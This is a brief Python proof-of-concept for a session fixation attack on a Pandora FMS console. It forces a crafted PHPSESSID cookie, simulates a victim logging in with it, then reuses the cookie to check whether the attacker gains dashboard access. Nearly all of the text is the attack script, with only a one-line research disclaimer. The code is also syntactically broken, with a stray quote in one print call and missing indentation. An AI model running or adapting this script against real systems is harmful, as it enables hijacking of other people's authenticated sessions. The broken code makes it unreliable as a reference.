The following code is for security research and authorized testing only.
python
import requests
# Target configuration
target_url = "http://example.com/pandora_console/"
login_url = target_url + "index.php?login=1"
# 1. Attacker sets a crafted session ID
# In Session Fixation, the attacker forces the victim to use a specific session ID
crafted_cookie = {
"PHPSESSID": "crafted_session_id_by_attacker"
}
# 2. Victim clicks the link and logs in (Simulating the victim's request)
credentials = {
"nick": "victim_user",
"pass": "victim_password",
"login_button": "Login"
}
print("[+] Simulating victim login with crafted session ID...")
victim_response = requests.post(login_url, data=credentials, cookies=crafted_cookie)
# 3. Attacker attempts to access the session using the same crafted ID
print("[+] Attacker trying to hijack the session...")")
attack_response = requests.get(target_url, cookies=crafted_cookie)
if "Dashboard" in attack_response.text or "Pandora FMS" in attack_response.text:
print("[!] Session Hijacking Successful! Access granted.")
else:
print("[-] Failed to hijack session.")